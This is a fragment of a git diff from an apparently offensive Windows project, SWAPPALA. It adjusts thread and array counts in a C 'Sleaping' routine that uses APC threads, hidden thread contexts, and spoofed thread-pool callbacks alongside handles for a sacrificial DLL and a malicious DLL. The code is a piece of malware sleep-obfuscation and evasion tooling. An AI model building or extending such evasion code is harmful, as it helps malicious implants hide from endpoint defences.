return 0;
@@ -461,13 +444,13 @@ int EnumResumeThreadCallbacks(PVOID ResumeThreadAddress, PTPP_CLEANUP_GROUP_MEMB
int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_T viewSize, PNT_FUNCTIONS ntFunctions, PFUNCTION_ADDRESSES fnAddr) {
//APC Threads
PHANDLE ApcThreads = (PHANDLE)(VirtualAlloc(NULL, 12 * sizeof(HANDLE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
PHANDLE ApcThreads = (PHANDLE)(VirtualAlloc(NULL, 6 * sizeof(HANDLE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
//Context APC threads
CONTEXT* CtxHide = (CONTEXT*)(VirtualAlloc(NULL, 6 * sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
CONTEXT* CtxHide = (CONTEXT*)(VirtualAlloc(NULL, 3 * sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
//context APC threads fix callback
CONTEXT* CtxFix = (CONTEXT*)(VirtualAlloc(NULL, 6 * sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
CONTEXT* CtxFix = (CONTEXT*)(VirtualAlloc(NULL, 3 * sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
//events for APC threads
HANDLE EvntHide = { 0 };
@@ -477,16 +460,16 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_
HMODULE hNtdll = { 0 };
//callbackArray for APC to spoof
PTPP_CLEANUP_GROUP_MEMBER* callbackArray = (PTPP_CLEANUP_GROUP_MEMBER*)VirtualAlloc(NULL, 5 * sizeof(PTPP_CLEANUP_GROUP_MEMBER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
PTPP_CLEANUP_GROUP_MEMBER* callbackArray = (PTPP_CLEANUP_GROUP_MEMBER*)VirtualAlloc(NULL, 2 * sizeof(PTPP_CLEANUP_GROUP_MEMBER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
PDWORD64 ResumeThreadValue = (PDWORD64)VirtualAlloc(NULL, sizeof(PVOID), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
PDWORD64 SafeCallback = (PDWORD64)VirtualAlloc(NULL, sizeof(PVOID), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
//initializing callback array structs
for (int i = 0; i < 5; i++) {
for (int i = 0; i < 2; i++) {
callbackArray[i] = (PTPP_CLEANUP_GROUP_MEMBER)VirtualAlloc(NULL, sizeof(TPP_CLEANUP_GROUP_MEMBER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
}
//sleaping threads = 5 Timers + 12 APC threads
HANDLE ThreadArray[17] = { NULL };
//sleaping threads = 5 Timers + 6 APC threads
HANDLE ThreadArray[11] = { NULL };
//timers variables
HANDLE hTimerQueue = NULL;
@@ -616,10 +599,10 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_
if (SleapingAPCNG(callbackArray, &EvntHide, &DummyEvent, ApcThreads, CtxHide, CtxFix, ResumeThreadValue, SafeCallback, ntFunctions, fnAddr) == 0) {
int counter = 5;
for (int i = 0; i < 12; i++) {
for (int i = 0; i < 6; i++) {
//adding the newly created APC threads to the thread array to be waiting for
ThreadArray[counter] = ApcThreads[i];//5 + 12
ThreadArray[counter] = ApcThreads[i];//5 + 6
counter++;
}
@@ -636,7 +619,7 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_
return -1;
}
if (WaitForMultipleObjects(17, ThreadArray, TRUE, INFINITE) == WAIT_FAILED) {
if (WaitForMultipleObjects(11, ThreadArray, TRUE, INFINITE) == WAIT_FAILED) {
return -1;
}
@@ -651,7 +634,7 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_
if (contextC) VirtualFree(contextC, 0, MEM_RELEASE);
if (contextD) VirtualFree(contextD, 0, MEM_RELEASE);
if (contextE) VirtualFree(contextE, 0, MEM_RELEASE);
for (int i = 0; i < 5; i++) {
for (int i = 0; i < 2; i++) {
if (callbackArray[i] != NULL) {
VirtualFree(callbackArray[i], 0, MEM_RELEASE);
}
SWAPPALA/x64/Debug/SWAPPALA.pdb
BIN
View File
Binary file not shown.